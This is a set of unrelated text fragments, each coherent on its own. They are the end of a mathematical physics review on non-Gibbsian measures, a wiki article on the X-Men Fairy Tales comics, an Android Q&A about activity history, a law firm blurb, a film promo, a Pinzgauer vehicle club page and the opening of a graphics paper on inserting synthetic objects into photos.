$\Omega_0^{\mathbb Z^d}$ and hence the measure $\mu$ can be transformed:
\begin{enumerate}
\item {\bf Decimation:} For $\ell\in\mathbb N$, let $T:\Omega_0^{\mathbb Z^d}\to
\Omega_0^{\mathbb Z^d}$ be defined by $(T\omega)_{\mathbf n}= \omega_{\ell \mathbf n}$
for all $\mathbf n\in\mathbb Z^d$, let $\nu=T^*\mu$ be the
image of $\mu$ under $T$.
\item {\bf Single-site projections:} Suppose $\Omega_1$ is a finite set such that $|\Omega_1|<|\Omega_0|$ and $T:\Omega_0\to\Omega_1$ is onto. Let $T:\Omega_0^{\mathbb Z^d}\to\Omega_1^{\mathbb Z^d}$ be
defined by $(T\omega)_{\mathbf n}= T(\omega_{ \mathbf n})$ for all $\mathbf n\in\mathbb Z^d$; again, let $\nu=T^*\mu$ be the
image of $\mu$ under $T$.
\item {\bf Random transformations or Hidden Gibbs fields:}
For each $\mathbf n\in\mathbb Z^d$, $\sigma_{\mathbf n}\in\Omega_1$ chosen
independently according to $T(\cdot\, | \omega_{\mathbf n})$.
It is assumed that $T(\sigma_{\mathbf n}|\omega_{\mathbf n})>0$
for all $\sigma_{\mathbf n}\in\Omega_1$, $\omega_{\mathbf n}\in\Omega_0$,
again $\nu=T^*\mu$.
\end{enumerate}
It is known that these transformations, as well as the stochastic
transformations introduced in the previous section can produce
non-Gibbsian states. The general results on the
non-Gibbsian nature (classification of possible pathologies) of measures $\nu=T^*\mu$ or $\nu=\mu_t$ in terms of the potential $\Phi$ of
the source measure $\mu$ and the properties of $T$ ($\Psi)$ remains sketchy.
Nevertheless, it is expected that the transformed measures will admit
variational principles in some form.
In \cite{lenred1}, it was shown that a Gibbs measure $\mu$ will remain
asymptotically decoupled under Glauber dynamics for all $t>0$. Hence, for $\nu=\mu_t$, $h(\rho|\nu)$ is well-defined
for all $\rho$. This type of results is a prerequisite for a successful
variational description.
In \cite{klr}, the authors considered transformations $T$ of type (1)-(3)
and Gibbs measures $\mu$ with specification $\gamma$
under the condition that the specification $\gamma\otimes T$ is monotonicity-preserving. In this case, the image states $\nu=T^*\mu$ are
almost Gibbs for some specification $\tilde\gamma$,
and $h(\rho|\nu)=0$ implies that $\rho\in\mathcal G(\tilde\gamma)$.
In \cite{verb}, for a transformation $T$ of type (1)-(3) and
any Gibbs state $\mu$ for potential $\Phi$, it was shown that
for the image measure $\nu=T^*\mu$ one
has $h(\rho|\nu)=0$ if and only if there exists a measure $\lambda$
such that $h(\lambda|\mu)=0$ and $\rho=T^*\lambda$.
Equality $h(\lambda|\mu)=0$ by the classical variational
principle means that $\lambda$ is Gibbs for the same potential $\Phi$,
and hence, $h(\rho|\nu)=0$ implies that $\rho$, $\nu$
are transformations of Gibbs states with the same potential.
Yet another class of transformations is formed by restrictions to a layer --
the so-called Schonmann projections: let
$\mu$ be a Gibbs measure on $\Omega_0^{\mathbb Z^d}$,
and $\nu$ be a restriction of $\mu$ to
a lower dimensional hyperplane $\mathbb L$, say $\mathbb L=\mathbb Z^{d-1}
\times\{0\}\subset \mathbb Z^d$. Such measures $\nu$ are often non-Gibbsian.
Nevertheless, in some cases, for example,
if $\mu$ is a plus phase of a low-temperature two-dimensional Ising
model, the corresponding measure $\nu$ can be shown \citep{klr}
to be consistent with a monotonicity-preserving specification $\gamma$,
and hence the specification-independent variational
principle for $\nu$ is valid.
\section{Conclusions and some further open problems}
In non-equilibrium statistical mechanics there are still many open questions
about the occurrence of non-Gibbsian measures.
Whether one can ascribe an effective temperature in a non-equilibrium situation
is a topic of considerable interest, (also in the physics literature, see e.g.
\cite{OP}).
The term non-Gibbsian or
non-reversible is often used for invariant measures in systems in which there
is no detailed balance \cite{lig,eylebspo,ern95}. It is an open question
to what extent
such measures are non-Gibbsian in the sense we have described here.
It has been conjectured that such measures for which there is no detailed
balance are quite generally non-Gibbsian in systems with a
stochastic dynamics, see for example \cite{lebsch} or \citep[Appendix 1]{eylebspo};
on the other hand it has been predicted
that non-Gibbsian measures are rather exceptional \citep[Open problem
IV.7.5, p.224]{lig}, at least for non-reversible spin-flip processes under the
assumptions of rates
which are bounded away from zero. The examples we have are for the moment too
few to develop a good intuition on this point, but see \cite{taslef}.
We add the remark that sometimes a dynamical description is possible in terms of
a Gibbs measure on the space-time histories (in $d+1$ dimensions).
In such cases, looking at the steady states is considering the $d$-dimensional
projection of such Gibbs measures.
\smallskip
In another direction, a study of non-Gibbsianness in a mean-field setting has
been developing.
In this case, the characterization of Gibbs measures as having continuity
properties in the product topology breaks down. For these developments, see
\cite{k3,hk, kl}.
Several problems remain open in connection to dynamics of
Gibbsian measure.
\begin{enumerate}
\item {\bf Kawasaki dynamics.} Is the transition Gibbs-non Gibbs present if we
start from a low-temperature model and
consider infinite-temperature Kawasaki dynamics
(the so-called simple symmetric exclusion process)?
Since this dynamics conserves the density of plus spins,
we should look for an initial measure that
has two phases having the same density. A possible candidate
is the Ising antiferromagnet $\Phi (\{x,y\},\ensuremath{\sigma})= -\beta\ensuremath{\sigma}_x\ensuremath{\sigma}_y$ for
$x,y$ neighbors and zero elsewhere. This model has
the two checkerboard configurations $\eta_1, \eta_2$ as ground states, which have
the same density $1/2$ of plus spins. The candidate bad configuration
would then be
a checkerboard configuration of two by two squares, which has also density
$1/2$, and is neutral with respect to
the configurations $\eta_1, \eta_2$.
For the Ising model, we do not expect Gibbs-non Gibbs transitions
in the course of the evolution (because the groundstates have different
density of plus spins), but this has also not been proved.
\item {\bf Nature versus nurture transition.}
In \cite{vEfhr} is suggested that the transition Gibbs-non Gibbs
is related to a so-called nature versus nurture transition.
This is informally described as follows. Consider the Ising
model plus phase as starting measure and condition that at time $t$
a neutral configuration (such as the alternating configuration)
is observed. The question is then whether this configuration
is produced by typical path of the dynamics starting
from an atypical configuration (nature) or
by an atypical path of the dynamics starting from
a typical configuration (nurture). The second scenario is
related to the ``badness'' of the configuration.
\item {\bf Low-temperature dynamics.} If the norm of
the potential describing the dynamics is not small,
then one cannot make sense of $-\log p_t(\ensuremath{\sigma},\eta)$ in \eqref{formham}
as a sum of local terms via a cluster expansion.
Therefore, this regime is still completely open.
\end{enumerate}
\section*{Acknowledgments}
Our work on non-Gibbsian issues has been to a large extent a collaborative
effort. We thank our coauthors, Roberto Fern{\'a}ndez, Alan Sokal,
Tonny Dorlas, Frank den Hollander, Roman Koteck{\'y}, Christof K\"ulske,
Arnaud Le Ny, J{\'o}zsef L{\"o}rinczi, Christian Maes, Lies van Moffaert,
Wioletta Ruszel, Roberto Schonmann and
Senya Shlosman, for all they taught us during these collaborations.
We also very much benefited from
conversations and correspondence with many other colleagues.
We thank the NDNS+ cluster for facilitating
our collaboration.
Like many of our colleagues, we have very much benefited from the
presence and activities of Eurandom. We wish it many more
happy and fruitful years!
\bibliographystyle{plainnat}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 6,187 |
The X-Men Fairy Tales is a 4-part mini-series that was created by ex-editor C. B. Cebulski, with art by Sana Takeda. It was published by Marvel Comics in 2006.
The 4-part mini-series seeks to re-enact the adventures told throughout the original X-Men comics, just through folk lore and fairy tales instead. It was the first of the Marvel Fairy Tales which went to tell similar stories for other Marvel titles.
Release information
When X-Men Fairy Tales Volume 1 came out, it was sold out by May 2006. Shortly thereafter Volume 2 hit the shelves on June 21, 2006.
Part 1
Specs
Description
This volume re-enacts the old tale of Momotarō. It sets the X-Men into this story to play out the traditional roles of the characters within the original. Within the story, Momotaro has the abilities of the X-Man Cyclops, allowing him to shoot beams from his eyes. Because of this ability he remains in seclusion, until a great monk comes to him (symbolism as Professor X came to him during the original X-Men series) and convinces him to use his power for good. From this, they go off to defeat a horde of demons.
Part 2
Specs
Description
This volume retells the ancient story called "The Friendship of the Tortoise and the Eagle". It replays the old story of how Magneto and Professor Xavier originally met, but it's played through as the story of the fairy tale.
Part 3
Specs
Description
A blind Cyclops awakens the princess (Jean Grey) from her sleep, only to find that Wolverine is determined to keep her under her spell, or worse, dead.
Part 4
Specs
Description
Pulling upon some fairy tales that originated in New Orleans, the love between Gambit and Rogue is re-created, though the roles are reversed, with Rogue/Anna as the ghost-communicating thief and Gambit on the side of the law with his partner, Bishop. Mystique takes the form of the voodoo witch that sells Rogue's talent, along with her other daughter, Irene. Coming home after closing, Rogue is surprised to have a customer, Emma Frost asking for her services. It is then that Emma's intent is not to communicate with the dead, but to control them, and she, along with the members of Hellfire will stop at nothing do so.
Notes
References
External links
Cover Art - The cover art for the 4 comics.
Comics based on fairy tales | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 1,277 |
Q: androidManifest activity android:excludeFromRecents I am using following code to open an activity as a popup window using
<activity android:name=".RadioButtonExample"
android:theme="@android:style/Theme.Dialog"
android:excludeFromRecents="true"/>
But excludeFromRecents is not working. If user clicks back button the popup window shows while retrieving back to main menu.
A: Use android:noHistory="true"
Whether or not the activity should be removed from the activity stack
and finished (its finish() method called) when the user navigates away
from it and it's no longer visible on screen — "true" if it should be
finished, and "false" if not. The default value is "false". A value of
"true" means that the activity will not leave a historical trace. It
will not remain in the activity stack for the task, so the user will
not be able to return to it.
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 3,204 |
No matter your legal problem, the Law Firm of Terry M. Thorn wants to help. We offer a wide variety of legal services so that our clients can depend on us no matter what may come up. Whether you are embarking on a real estate or business venture, sidelined by an injury, facing a family crisis, or planning for the future, we are here for you.
We are here for our clients in the good times to help them protect what they have earned and provide for their loved ones. We are here for our business clients from incorporation to sale or dissolution, and everything in between. In real estate we have the knowledge and experience to make sure that your purchase or sale goes smoothly. In addition, we offer highly specialized services in the areas of Farm and Ranch law. Whether you are contemplating a residential or a business real estate purchase, let us make sure that your transaction is handled correctly now so you will avoid costs and headaches in the future.
We are also here for our clients in the difficult times. If you have been injured, whether in an auto accident or on the job, we can help. We understand the difficult emotional, physical, and legal barriers to your recovery. You do not have to suffer through an injury, wondering about your financial future alone. Let our knowledge and experience help you make a full recovery.
Finally, we are here for our clients whose families are in crisis. A divorce does not have to devastate a family. We have experience developing solutions to the complex issues of custody & visitation, spousal support, and property division. Every family is different, and we craft custom solutions that work for your family. | {
"redpajama_set_name": "RedPajamaC4"
} | 6,686 |
Q: Relative Layout Overlapping I am creating my own Custom Actionbar with a Relative Layout. I added a Progressbar a Button and a SrcollView with a Layout. With Java i add a text into this Layout but the text is displayed only for half horizontally. Why?
https://www.dropbox.com/s/7zsvrg3cia379km/Screenshot_2013-05-31-16-54-02.png
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center_vertical"
android:orientation="horizontal" >
<HorizontalScrollView
android:id="@+id/scroll_text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_above="@+id/progressBar"
android:layout_alignParentLeft="true"
android:layout_alignParentTop="true"
android:layout_margin="1dp"
android:layout_toLeftOf="@+id/actionsearch"
android:fillViewport="true"
android:scrollbars="none" >
<FrameLayout
android:layout_width="wrap_content"
android:layout_height="match_parent" >
<LinearLayout
android:id="@+id/directory_buttons"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:gravity="center_vertical"
android:orientation="horizontal" >
</LinearLayout>
</FrameLayout>
</HorizontalScrollView>
<ImageButton
android:id="@+id/actionsearch"
style="?android:attr/actionButtonStyle"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentBottom="true"
android:layout_alignParentRight="true"
android:layout_alignParentTop="true"
android:layout_gravity="right|center_vertical"
android:contentDescription="@string/desc"
android:src="@drawable/search" />
<ProgressBar
android:id="@+id/progressBar"
style="?android:attr/progressBarStyleHorizontal"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:layout_alignParentBottom="true"
android:layout_alignParentLeft="true"
android:layout_toLeftOf="@+id/actionsearch"
android:fillViewport="true"
android:indeterminateBehavior="repeat" />
</RelativeLayout>
A: add this in your progress bar
android:layout_below="@+id/scroll_text"
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 4,533 |
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="refresh" content="0;URL=../../cl_sys/constant.CL_INVALID_WORK_GROUP_SIZE.html">
</head>
<body>
<p>Redirecting to <a href="../../cl_sys/constant.CL_INVALID_WORK_GROUP_SIZE.html">../../cl_sys/constant.CL_INVALID_WORK_GROUP_SIZE.html</a>...</p>
<script>location.replace("../../cl_sys/constant.CL_INVALID_WORK_GROUP_SIZE.html" + location.search + location.hash);</script>
</body>
</html> | {
"redpajama_set_name": "RedPajamaGithub"
} | 8,593 |
{"url":"https:\/\/cstheory.stackexchange.com\/questions\/27377\/does-the-cook-levin-theorem-relativize","text":"# Does the Cook-Levin theorem relativize?\n\nMy only motivation for asking this question is long-standing curiosity, but I am interested in seeing a proof (or disproof) that the Cook-Levin theorem relativizes. If you have a proof that the theorem does indeed relativize, please supply an explanation of how relativization impacts the proposition, i.e., what does the relativized version of the statement look like when an oracle A is added? Also, please explain what happens to the proposition when a TQBF oracle is added to the computation model.\n\n\u2022 Does something go wrong with showing that circuit-sat for circuits with oracle gates for a language A is complete for NP with oracle A, using the textbook proof? \u2013\u00a0Sasho Nikolov Nov 7 '14 at 23:21\n\u2022 The Cook-Levin theorem does not relativize in this sense: there exists a language $L$ and an oracle $A$ such that $L \\in NP^A$ but $L$ is not polynomial-time many-one reducible to $3SAT$ even if the polynomial time Turing machine that performs the reduction is allowed to access the same oracle $A$ (i.e. $L \\nleq_m^A 3SAT$). The proof is a standard exercise (just play a little bit with the oracle that separates P and NP). Obviously, if you allow oracle gates for an (arbitrary) oracle $A$, then you get that $\\text{Circuit-}SAT^A$ is $NP^A$-complete as noted by Sasho. \u2013\u00a0Marzio De Biasi Nov 8 '14 at 0:56\n\u2022 Both answers sound good...care to post as answers so I can pick one to accept? \u2013\u00a0Philip White Nov 8 '14 at 15:35\n\u2022 I think Marzio should post. \u2013\u00a0Sasho Nikolov Nov 8 '14 at 17:59\n\u2022 @Philip White: The reason you received two apparently contradicting answers is that your question is ambiguous in the first place. You should clarify what you mean by the Cook-Levin theorem. I am afraid that it is not nice to keep the question ambiguous and ask both commenters to work more for you. \u2013\u00a0Tsuyoshi Ito Nov 8 '14 at 19:17\n\nFrom the comment above: there are two interpretations to your question:\n\n1) The Cook-Levin theorem does not relativize in this sense: there exists a language $L$ and an oracle $A$ such that $L \\in NP^A$ but $L$ is not polynomial-time many-one reducible to $3SAT$ even if the polynomial time Turing machine that performs the reduction is allowed to access the same oracle $A$ (i.e. $L \\nleq_m^A 3SAT$). The proof is a standard exercise (see for example Arora and Barak, Computational Complexity); hint: play a little bit with the oracle that separates P from NP, the only difference here is that you must \"fool\" polynomial-time oracle Turing machines that output 3SAT formulas instead of deciders that output yes\/no (let me know if you need the full proof);\n\n2) The Cook-Levin theorem does relativize in this sense: you can extend the circuit model with oracle gates, i.e. $k$-inputs gates in which the inputs are ordered and the output bit is the result of the associated oracle on the query formed by the ordered input bits (there is also a variant in which every bit of the query is represented by two input bits, in order to allow queries shorter than $k$). With this extended oracle circuit model you can build in polynomial time a polynomial-size oracle circuit $C^A$ that \"simulates\" - in a similar way of the Cook-Levin theorem - the computation of an oracle polynomial time machine $M^A$ and on input $x$ evaluates to 1 if and only if $M^A(x)=1$. So, if\n\n$\\text{Circuit-}SAT^A = \\{ C \\mid C$ is a boolean circuit equipped with oracle gates for $A$ and for which there exists $x$ such that $C(x)=1 \\}$ you say that:\n\nfor every oracle $A$, $\\text{Circuit-}SAT^A$ is $NP^A$-complete.\n\n3) Finally with a TQBF oracle we have $P^{TQBF} = NP^{TQBF}$, so if we add a TQBF oracle to the polynomial time Turing machine that performs the reduction (interpretation 1) we give to it the power to solve the original problem directly, so we have: $NP^{TQBF} \\leq_m^{TQBF} \\{1\\}$ i.e. every trivial set is $NP^{TQBF}$-complete under polynomial time many-one TQBF-oracle reductions (except $\\emptyset$ and $\\Sigma^*$ :-), so Cook-Levin theorem does relativize for the TQBF oracle (solve the source instance and output $(x_1 \\lor x_2 \\lor x_3)$ if it belongs to the language, output an unsatisfiable 3SAT formula otherwise).\n\nAddendum: related to your question, it is interesting how the (old but great) Computational Complexity by C. Papadimitriou explicitly faces the problem of the relativization of another well known thereom, the Ladner's theorem, in this way (probably the oracle gates were introduced later):\n\n[From Chapter 14]: ... \"If $P^A \\neq NP^A$, then there is a language in $NP^A - P^A$ which is not $NP^A$-complete\". But when we say \"$NP^A$-complete\", do we also allow the use of oracle in our reductions? With a little reflection we may decide that the right way to state the result is in terms of ordinary reductions...\n..... There seems to be no reasonable definition of $SAT^A$. To get around this difficulty, we must replace the usage of SAT with an $NP^A$-complete problem. Such problem exist; for example:\n\n$C^A = \\{ (M^A,x) \\mid$ nondeterministic oracle machine $M^A$ accepts $x$ in time $|x|\\}$\n\n\u2022 \\ in $\\mapsto$ \\in $\\;$ \u2013\u00a0user6973 Nov 9 '14 at 10:36\n\u2022 @MarzioDeBiasi, or anyone: I have a quick question on this answer. Do you know of a resource (textbook or preferably paper) that describes the proof that CircuitSAT^A is NP^A-complete? Thanks for your help. \u2013\u00a0Philip White Nov 29 '14 at 23:40","date":"2019-09-16 20:07:46","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 1, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.8193557262420654, \"perplexity\": 465.3302208242417}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 5, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572934.73\/warc\/CC-MAIN-20190916200355-20190916222355-00457.warc.gz\"}"} | null | null |
When a veteran 911 call center Operator's daughter is held hostage, she's left desperate with no choice but to follow a caller's rules; send a message through dispatch for all Los Angeles police and fire units to scatter to remote destinations where they are met with chaos; cars crashing, explosions, and gunfire.
Not knowing who or why, the one thing Amanda knows is if she fails to secretly collaborate with one of the police, her ex-husband - she'll be the sole person responsible for facilitating the biggest crime of the century. Now she must race the clock to make the choice of her life - save the city - or save her daughter.
Operator stars Mischa Barton (The O.C., The Sixth Sense, Notting Hill); Luke Goss (Hellboy II: The Golden Army, Frankenstein, Blade II) Ving Rhames (Mission Impossible, Dawn of The Dead, Pulp Fiction) and Michael Pare (The Lincoln Lawyer, Hope Floats, The Philadelphia Experiment).
"The Story was compelling for us as directors because of the insight it provides into these unsung heroes, men and women faced with so many crimes and having to learn to deal with these situations as the first response team... and then throw in the thought of "what if this system were taken over by a criminal to pull off the biggest heist of the century?" We thought this idea would be very interesting to explore as a film, thus Operator was born," he added.
Starting October 21, answer the call of the OPERATOR in cinemas nationwide. Distributed by Solar Pictures. | {
"redpajama_set_name": "RedPajamaC4"
} | 6,485 |
Join or renew your membership, just $45/year!
Click here to download a printable PDF membership form
Renew Your Membership via PayPal
RMP Bylaws
Check out the numerous benefits that come with membership
Valuable purchase discounts for many Pinzgauer related items and services.
10% discount for club members at Linden engineering (Dennis Williams) and discounted towing in the metro area.
Members Only sponsored events, from parades, to trail rides, to family fun runs.
Discounted admission to our Treffen, the largest gathering of Pinzgauer owners in the Western Hemisphere!
Annual holiday party with food and drink (free to members & family)
Treffen and Pinzgauer-related clothing
The Rocky Mountain Pinzgauers is the largest Pinzgauer club in the United States. Officially we're the "oldest" Pinzgauer club in the country as well (though 20 years isn't very old.!)
Our club was founded in March, 2000 by Per Eliasen, Al Fink, and Mike Roark. It's dedicated to the appreciation and enjoyment of the Pinzgauer, which was originally produced by Steyr-Daimler-Puch of Graz, Austria. The 710M is the most common Pinzgauer represented in the club. It is a 10-person Army troop carrier first built in 1970 as a 4,400 lb., soft-top platform powered by a four cylinder, air-cooled, 89 hp, gasoline-powered engine. Shift-on-the-fly into 4-wheel drive and shift-on-the-fly 100% front and rear differential locks are standard as are the ten forward and two reverse gears; the 712M is a 6X6 version. The 710K and the 712K hardtop models are relatively rare in these parts and saw service primarily as radio-command trucks and ambulances.
Our club is family-oriented, love the outdoors, camping and good clean fun in the dirt and accept easy, moderate and the most difficult 4-wheeling challenges gladly. We encourage the enhancement of driving skills and are glad to teach those new to the vehicle and off-highway driving. We extend an open invitation to others to come and ride with us. The club organizes frequent outings and encourages its members to ride with other like-minded groups as well. We've participated in many rides/events with the regional Unimog club the Rocky Mountain Moggers.
Our largest annual event is the Treffen. A Treffen is simply a gathering in German. Ours, of course, is a gathering of Pinzgauers. Members and non-members alike from all over the country (and the world) meet in one of Colorado's many mountain recreation areas, socialize, test themselves and their vehicles on all types of trails, eat, socialize and more.. You get the idea. We've held Treffen's in Leadville, Breckenridge, Buena Vista, Nathrop, Ouray and Crested Butte.
The Rocky Mountain Pinzgauers are active in land use and off-road advocacy Our members are urged to observe the Tread Lightly and Stay the Trail guidelines whenever 4-wheeling. Several Pinzers have joined Denver-based F.E.A.T.(Four-Wheel-Drive Emergency Assitance Team) which provides emergency transportation during inclimate weather. Due to the unique nature of our vehicles, we frequently take part in parades and car shows.
The club maintains this website featuring current club news, events, trail rides and useful links are posted.
Besides the opportunity to become involved in public service work, the club is constantly seeking additional benefits for it's members. Right now there are several business in the Metro area that offer discounts for RMP members. We have many more "big ticket" discounts in the works. | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 1,576 |
\section{Introduction}
Many applications require a user to insert 3D meshed characters, props, or other synthetic objects into images and videos. Currently, to insert objects into the scene, some scene geometry must be manually created, and lighting models may be produced by photographing mirrored light probes placed in the scene, taking multiple photographs of the scene, or even modeling the sources manually. Either way, the process is painstaking and requires expertise.
We propose a method to realistically insert synthetic objects into existing photographs without requiring access to the scene, special equipment, multiple photographs, time lapses, or any other aids.
Our approach, outlined in Figure~\ref{fig:systemdemo}, is to take advantage of small amounts of annotation to recover a simplistic model of geometry and the position, shape, and intensity of light sources. First, we automatically estimate a rough geometric model of the scene, and ask the user to specify (through image space annotations) any additional geometry that synthetic objects should interact with. Next, the user annotates light sources and light shafts (strongly directed light) in the image. Our system automatically generates a physical model of the scene using these annotations. The models created by our method are suitable for realistically rendering synthetic objects with diffuse, specular, and even glowing materials while accounting for lighting interactions between the objects and the scene.
In addition to our overall system, our primary technical contribution is a semiautomatic algorithm for estimating a physical lighting model from a single image. Our method can generate a full lighting model that is demonstrated to be physically meaningful through a ground truth evaluation. We also introduce a novel image decomposition algorithm that uses geometry to improve lightness estimates, and we show in another evaluation to be state-of-the-art for single image reflectance estimation.
We demonstrate with a user study that the results of our method are confusable with real scenes, even for people who believe they are good at telling the difference. Our study also shows that our method is competitive with other insertion methods while requiring less scene information.
This method has become possible from advances in recent literature. In the past few years, we have learned a great deal about extracting high level information from indoor scenes~\cite{hedau2009iccv,Lee:09,Lee:10}, and that detecting shadows in images is relatively straightforward~\cite{guo_cvpr11}. Grosse {\em et al.~}~\shortcite{grosse09intrinsic} have also shown that simple lightness assumptions lead to powerful surface estimation algorithms; Retinex remains among the best methods.
\begin{figure*}[htpb!]
\centerline{
\includegraphics[width=167mm]{./figures/systemdemo/systemdemo.pdf}
}
\caption{ Our method for inserting synthetic objects into legacy photographs. From an input image \emph{(top left)}, initial geometry is estimated and a user annotates other necessary geometry \emph{(top middle)} as well as light positions \emph{(top right)}. From this input, our system automatically computes a 3D scene, including a physical light model, surface materials, and camera parameters \emph{(bottom left}). After a user places synthetic objects in the scene \emph{(bottom middle)}, objects are rendered and composited into the original image \emph{(bottom right)}. Objects appear naturally lit and adhere to the perspective and geometry of the physical scene. From our experience, the markup procedure takes only a minute or two, and the user can begin inserting objects and authoring scenes in a matter of minutes.
}
\label{fig:systemdemo}
\end{figure*}
\section{Related work}
Debevec's work~\shortcite{Debevecprobe} is most closely related to ours. Debevec shows that a light probe, such as a spherical mirror, can be used to capture a physically accurate radiance map for the position where a synthetic object is to be inserted. This method requires a considerable amount of user input: HDR photographs of the probe, converting these photos into an environment map, and manual modeling of scene geometry and materials.
More robust methods exist at the cost of more setup time (e.g. the plenopter~\cite{Mury:2009vz}). Unlike these methods and others (e.g.~\cite{fournier1992b,alnasser2006,cossairt2008,Lalonde:sa09}), we require no special equipment, measurements, or multiple photographs. Our method can be used with only a single LDR image, e.g. from Flickr, or even historical photos that cannot be recaptured.
\boldhead{Image-based Content Creation}
Like us, Lalonde {\em et al.~}~\shortcite{lalonde2007} aim to allow a non-expert user populate an image with objects. Objects are segmented from a large database of images, which they automatically sort to present the user with source images that have similar lighting and geometry. Insertion is simplified by automatic blending and shadow transfer, and the object region is resized as the user moves the cursor across the ground.
This method is only suitable if an appropriate exemplar image exists, and even in that case, the object cannot participate in the scene's illumination. Similar methods exist for translucent and refractive objects~\cite{Yeung:2011:MCT:1899404.1899406}, but in either case, inserted objects cannot reflect light onto other objects or cast caustics. Furthermore, these methods do not allow for mesh insertion, because scene illumination is not calculated. We avoid these problems by using synthetic objects (3D textured meshes, now plentiful and mostly free on sites like Google 3D Warehouse and turbosquid.com) and physical lighting models.
\boldhead{Single-view 3D Modeling}
Several user-guided~\cite{Liebowitz99,criminisi2000,Zhang01,TIP,TIP2,Oh01,1409112} or automatic~\cite{hoiem2005siggraph,Make3D} methods are able to perform 3D modeling from a single image. These works are generally interested in constructing 3D geometric models for novel view synthesis. Instead, we use the geometry to help infer illumination and to handle perspective and occlusion effects. Thus, we can use simple box-like models of the scene~\cite{hedau2009iccv} with planar billboard models~\cite{TIP2} of occluding objects. The geometry of background objects can be safely ignored. Our ability to appropriately resize 3D objects and place them on supporting surfaces, such as table-tops, is based on the single-view metrology work of Criminisi~\shortcite{criminisi2000}; also described by Hartley and Zisserman~\shortcite{hartley2004}. We recover focal length and automatically estimate three orthogonal vanishing points, using the method from Hedau {\em et al.~}~\shortcite{hedau2009iccv}, which is based on Rother's technique~\shortcite{rother2002}.
\begin{figure*}[htp!]
\begin{center}
\begin{minipage}{0.73\linewidth}
\vspace{-3mm}
\centerline{
\includegraphics[width=0.19\linewidth]{./figures/lightdemo/orig.pdf} \hfill
\includegraphics[width=0.19\linewidth]{./figures/lightdemo/orig_grid.pdf} \hfill
\includegraphics[width=0.19\linewidth]{./figures/lightdemo/albedo.pdf}\hfill
\includegraphics[width=0.19\linewidth]{./figures/lightdemo/direct.pdf}
}
\centerline{\large \ \ \ Input (a) \hspace{0.125\linewidth} Geometry (b)\hspace{0.135\linewidth} Albedo (c) \hspace{0.14\linewidth} Direct (d) \vspace{1.5mm}}
\vspace{-0.5mm}
\centerline{
\includegraphics[width=0.19\linewidth]{./figures/lightdemo/initial-markup.pdf} \hfill
\includegraphics[width=0.19\linewidth]{./figures/lightdemo/final-markup.pdf} \hfill
\includegraphics[width=0.19\linewidth]{./figures/lightdemo/composite-initial.pdf}\hfill
\includegraphics[width=0.19\linewidth]{./figures/lightdemo/composite-final.pdf}
}
\centerline{\large \ \ Initial lights (e) \hspace{0.08\linewidth} Refined lights (f)\hspace{0.08\linewidth} Initial result (g) \hspace{0.07\linewidth} Refined result (h)}
\end{minipage}\hfill
\begin{minipage}{0.25\linewidth}
\caption{Overview of our interior lighting algorithm. For an input image \emph{(a)}, we use the modeled geometry (visualization of 3D scene boundaries as colored wireframe mesh, \emph{(b)}) to decompose the image into albedo \emph{(c)} and direct reflected light \emph{(d)}. The user defines initial lighting primitives in the scene \emph{(e)}, and the light parameters are re-estimated \emph{(f)}. The effectiveness of our lighting algorithm is demonstrated by comparing a composited result \emph{(g)} using the initial light parameters to another composited result \emph{(h)} using the optimized light parameters. Our automatic lighting refinement enhances the realism of inserted objects. Lights are initialized away from the actual sources to demonstrate the effectiveness of our refinement.
}
\label{fig:lightingdemo}
\end{minipage}
\vspace{-4mm}
\end{center}
\end{figure*}
\boldhead{Materials and Illumination}
We use an automatic decomposition of the image into albedo, direct illumination and indirect illumination terms ({\em intrinsic images}~\cite{BarTen78}). Our geometric estimates are used to improve these terms and material estimates, similar to Boivin and Gagalowicz~\shortcite{Boivin:2001:IRD:383259.383270} and Debevec~\shortcite{Debevecprobe}, but our method improves efficiency of our illumination inference algorithm and is sufficient for realistic insertion (as demonstrated in Sections~\ref{sec:Evaluation} and~\ref{sec:study}).
We must work with a single legacy image, and wish to capture a physical light source estimate so that our method can be used in conjunction with any physical rendering software. Such representations as an irradiance volume do not apply~\cite{irvol}. Yu {\em et al.~} show that when a comprehensive model of geometry and luminaires is available, scenes can be relit convincingly~\cite{yu99inverse}. We differ from them in that our estimate of geometry is coarse, and do not require multiple images. Illumination in a room is not strongly directed, and cannot be encoded with a small set of point light sources, so the methods of Wang and Samaras~\cite{wangsamaras} and Lopez-Moreno {\em et al.~}~\cite{LopezMoreno2010698} do not apply. As we show in our user study, point light models fail to achieve the realism that physical models do. We also cannot rely on having a known object present~\cite{satoikeuchi}.
